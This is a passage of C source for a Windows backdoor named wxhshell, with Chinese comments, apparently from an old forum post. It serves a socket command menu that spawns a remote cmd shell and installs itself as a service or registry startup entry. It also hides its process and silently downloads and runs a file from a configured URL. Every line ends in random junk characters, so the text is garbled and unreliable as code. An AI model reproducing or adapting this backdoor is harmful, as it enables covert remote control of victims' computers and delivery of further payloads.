  case '?': { *ilh/Hd>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )I*(yUj  
    break; ZbT$f^o}M]  
  } 8zeeC eIU  
  // 安装 W6>t!1oO+  
  case 'i': { Ci-Ze j  
    if(Install()) ep"{{S5g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tco G;ir  
    else A^).i_&#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fmK~?  
    break; ^dLu#,;  
    } 15J"iN2"W  
  // 卸载 Y910\h@V  
  case 'r': { yH" i5L9  
    if(Uninstall()) Szt2 "AR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [(Z(8{3i  
    else ^=^\=9" b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KJyCfMH&:@  
    break; A{\?]]/  
    } X>`03?L  
  // 显示 wxhshell 所在路径 B0|W  
  case 'p': { QBGm)h?=  
    char svExeFile[MAX_PATH]; (8m_GfT  
    strcpy(svExeFile,"\n\r");  b}NNkM  
      strcat(svExeFile,ExeFile); NUVKAAgMX  
        send(wsh,svExeFile,strlen(svExeFile),0); DcBAncsK  
    break; O0jOI3/P%  
    }  mhrF9&s  
  // 重启 s.7=!JQ#]p  
  case 'b': { v@QnS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9NwUX h(:(  
    if(Boot(REBOOT)) `l'T/F \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `PAQv+EYz  
    else { |HT7m5tu4  
    closesocket(wsh); QB X EM=  
    ExitThread(0); m2^vH+wD  
    } s? ;8h &]=  
    break; 5FJLDT2Lg  
    } *7H *epUa  
  // 关机 roc DO8f  
  case 'd': { >m lQ@Z_O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'd Be,@  
    if(Boot(SHUTDOWN)) {Ni]S$7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ojz'p5d`>  
    else { 3m75mny  
    closesocket(wsh); vrb@::sy0T  
    ExitThread(0); v\|jkzR5Y  
    } `w#VYs|k  
    break; nxV!mh_  
    } \{ | GK  
  // 获取shell 0<v5_ pB  
  case 's': { PP$2s]{  
    CmdShell(wsh); .n8O 3V  
    closesocket(wsh); +&)/dHbL`]  
    ExitThread(0); #z>I =gl  
    break; Pl/Xh03E  
  } *K_8=TIA*  
  // 退出 0IqGy}+VU  
  case 'x': { d6*84'|!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mW!n%f  
    CloseIt(wsh); <eMqg u  
    break; V-#JV@b  
    } >vo 6X]p~  
  // 离开 -){6ynqv  
  case 'q': { |dEPy- Xe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o_Z9\'u  
    closesocket(wsh); ZqrS]i@$  
    WSACleanup(); ?" 4X&6xl  
    exit(1); 8y6dT  
    break; @"NP`#  
        } xltN-<n7  
  } D~ 3@v+d  
  } MzUKp"  
x[};x;[ZE  
  // 提示信息 Qq.$! $  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bP-(N14x+  
} b-8@_@f|g  
  } {+#{Cha  
i|z=WnF$&  
  return; D+;4|7s+  
} @&m]:GR  
 m-4#s  
// shell模块句柄 'lE{Nj*7  
int CmdShell(SOCKET sock) ,N:^4A  
{ `AE6s.p?  
STARTUPINFO si; kJ"rRsK  
ZeroMemory(&si,sizeof(si)); kwUUvF7w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p}sM"}Ul  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M887 Q'HSi  
PROCESS_INFORMATION ProcessInfo; \y?*} L  
char cmdline[]="cmd"; Q8Ek}O\MC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5@1h^w v  
  return 0; *JX$5bZsI  
} &Qda|  
]\K?%z  
// 自身启动模式 l=9D!6 4  
int StartFromService(void) tH;9"z# ~  
{ <2@t ~ 9  
typedef struct 6R^F^<<  
{ l-W)? d  
  DWORD ExitStatus; P=EZ6<c3&  
  DWORD PebBaseAddress; ^k % +ao  
  DWORD AffinityMask; l opl  
  DWORD BasePriority; g zi=+oJ|4  
  ULONG UniqueProcessId; ?;](;n#lU  
  ULONG InheritedFromUniqueProcessId; >F^$ ' b]  
}   PROCESS_BASIC_INFORMATION; t)8c rX}P  
j%3 $ytf|p  
PROCNTQSIP NtQueryInformationProcess; Tx&H1  
S+KKGi_e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <H] PP6_g:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fhZwYx&t  
Q (N'Oj:J  
  HANDLE             hProcess; 0_je@p+$  
  PROCESS_BASIC_INFORMATION pbi; ynra%"sd  
"UD)3_R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0y<9JvN$9  
  if(NULL == hInst ) return 0; VB  |k  
Mz$qe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b/\O;o}]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); An(gHi;1$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v,ecNuy*d  
?z M   
  if (!NtQueryInformationProcess) return 0; |mG;?>c)  
2&'uO'K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jo"+_)]  
  if(!hProcess) return 0; BeRs;^r+  
yg}L,JJU<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _3wJ;cn.  
qDswFs(  
  CloseHandle(hProcess); YdvXp/P:|  
X)]>E]X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !V#*(_+n  
if(hProcess==NULL) return 0; ?xKiN5q"6  
W'k&DKhTqF  
HMODULE hMod; 5[zr(FuE  
char procName[255]; A<H]uQ>  
unsigned long cbNeeded; n}Thc6f3D  
rA<J^dX=C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :FSg%IUX  
:W&kl UU"  
  CloseHandle(hProcess); GPAC0K^p  
vr47PM2al  
if(strstr(procName,"services")) return 1; // 以服务启动 }T902RL0  
vQXF$/S  
  return 0; // 注册表启动 myXGMN$i  
} *URY8 a`bO  
eWYet2!Q  
// 主模块 Brg0:5H   
int StartWxhshell(LPSTR lpCmdLine) ]lJ#|zd8o  
{ >oy%qLHe~t  
  SOCKET wsl; )rA\+XT7  
BOOL val=TRUE; =#TQXm']Gi  
  int port=0; $+e(k~  
  struct sockaddr_in door; {3vm]  
Rbm+V{EF&  
  if(wscfg.ws_autoins) Install(); ' )F@em  
-,=)O  
port=atoi(lpCmdLine); ,trh)ZZYW|  
\iEJ9V  
if(port<=0) port=wscfg.ws_port; ZKI` ;  
Ca"i<[8  
  WSADATA data; !Y^$rF-+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `,GFiTPd  
K24y;968  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q4ii25]*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jz;`L3m  
  door.sin_family = AF_INET; uTbMp~cYB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (o6 u ^#6  
  door.sin_port = htons(port); W#b++}S  
E.VEW;=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?1]B(V9nBq  
closesocket(wsl); ,aWfGh#$  
return 1; nYRD>S?uz  
} `n|k+tsC  
IfRrl/!nw  
  if(listen(wsl,2) == INVALID_SOCKET) { %ULd_ES^  
closesocket(wsl); "J >, Hr9  
return 1; &:+_{nc,  
} 84Hm PPt  
  Wxhshell(wsl); WFeaX7\b  
  WSACleanup(); 5U<o%+^El  
A]V<K[9:b  
return 0; mW_A 3S5  
H~hAm  
} 1nLFtiki  
f'Xz4;  
// 以NT服务方式启动 9qZ|=r]y'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SLd9-N}T  
{ MT&q~jx*  
DWORD   status = 0; nDchLVw  
  DWORD   specificError = 0xfffffff; t^9q>[/d`  
HZ2zL17  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KRcg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f;ycQc@f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T?5F0WKi  
  serviceStatus.dwWin32ExitCode     = 0; `+r5I5  
  serviceStatus.dwServiceSpecificExitCode = 0; ',RR*{I  
  serviceStatus.dwCheckPoint       = 0; +n`^W(  
  serviceStatus.dwWaitHint       = 0; yFP#z5G  
.Qj`_q6=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0Zl1(;hx@  
  if (hServiceStatusHandle==0) return; i%B$p0U<  
]Otl(\v(h  
status = GetLastError(); 1hp@.Fv  
  if (status!=NO_ERROR) @1[LD[<  
{ 9=~jKl%\vJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -3b0;L&4>x  
    serviceStatus.dwCheckPoint       = 0; lu.2ZQE  
    serviceStatus.dwWaitHint       = 0; Ki@8  
    serviceStatus.dwWin32ExitCode     = status; Ix5yQgnB}j  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0MzHr2?'P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3 ?/}  
    return; `wG&Cy]v  
  } %n c+VL4  
ln!KL'T]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }mJ)gK5b 6  
  serviceStatus.dwCheckPoint       = 0; B "}GAk}V  
  serviceStatus.dwWaitHint       = 0; I`KN8ll  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9p$q@Bc  
} `^N;%[c`z  
.g&BA15<F6  
// 处理NT服务事件,比如:启动、停止 vqxTf)ys  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n#]G!7  
{ -)<Nd:A  
switch(fdwControl) !8s:3]  
{ khu,P[3>  
case SERVICE_CONTROL_STOP: !p9F'7;Y<  
  serviceStatus.dwWin32ExitCode = 0; @fYA{-ZC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +l3 vIN  
  serviceStatus.dwCheckPoint   = 0; QU4'x4YS  
  serviceStatus.dwWaitHint     = 0; #6m//0 u  
  { C"mb-n 7s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KoXXNJax  
  } J<zg 'Jk^  
  return; 4Y/!V[  
case SERVICE_CONTROL_PAUSE: C,z]q$4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !kKKJ~,;  
  break; @',;/j80  
case SERVICE_CONTROL_CONTINUE: da^9Fb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ta 4<d)nB  
  break; Vis?cuU/  
case SERVICE_CONTROL_INTERROGATE: E0h!%/+-L  
  break; kI;^V  
}; bo"I:)n;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tp6ysjao  
} },L[bDOV07  
f!I e  
// 标准应用程序主函数 r#~6FpFVK^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `4p9K  
{ BzUx@,  
lJ,s}l7  
// 获取操作系统版本 |O+binq  
OsIsNt=GetOsVer(); *:_hOOT+[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f3h9CV  
nb!m>0*/  
  // 从命令行安装 CUd'*Ewu  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5astv:p,P  
 MU^Z*r  
  // 下载执行文件 <z4!m/f [(  
if(wscfg.ws_downexe) { *ZEs5`x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pV+;/y_  
  WinExec(wscfg.ws_filenam,SW_HIDE); Kj>_XaFCg!  
} 8ksDXf`.  
V!=]a^]:  
if(!OsIsNt) { eK@Y] !lz  
// 如果时win9x,隐藏进程并且设置为注册表启动 p5'\< gQ  
HideProc(); u60l-  
StartWxhshell(lpCmdLine); %~[F^  
} - |'wDf?H  
else 1f:k:Y9i  
  if(StartFromService()) vT~a}  
  // 以服务方式启动 =w5w=qB  
  StartServiceCtrlDispatcher(DispatchTable); K&h|r`W(  
else ^YZ#P0 y  
  // 普通方式启动 MG@19R2s  
  StartWxhshell(lpCmdLine); Dx%fW`  
;g*6NzdA  
return 0; (^4%Fk&I-  
}
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只看该作者 1 发表于: 2006-10-10
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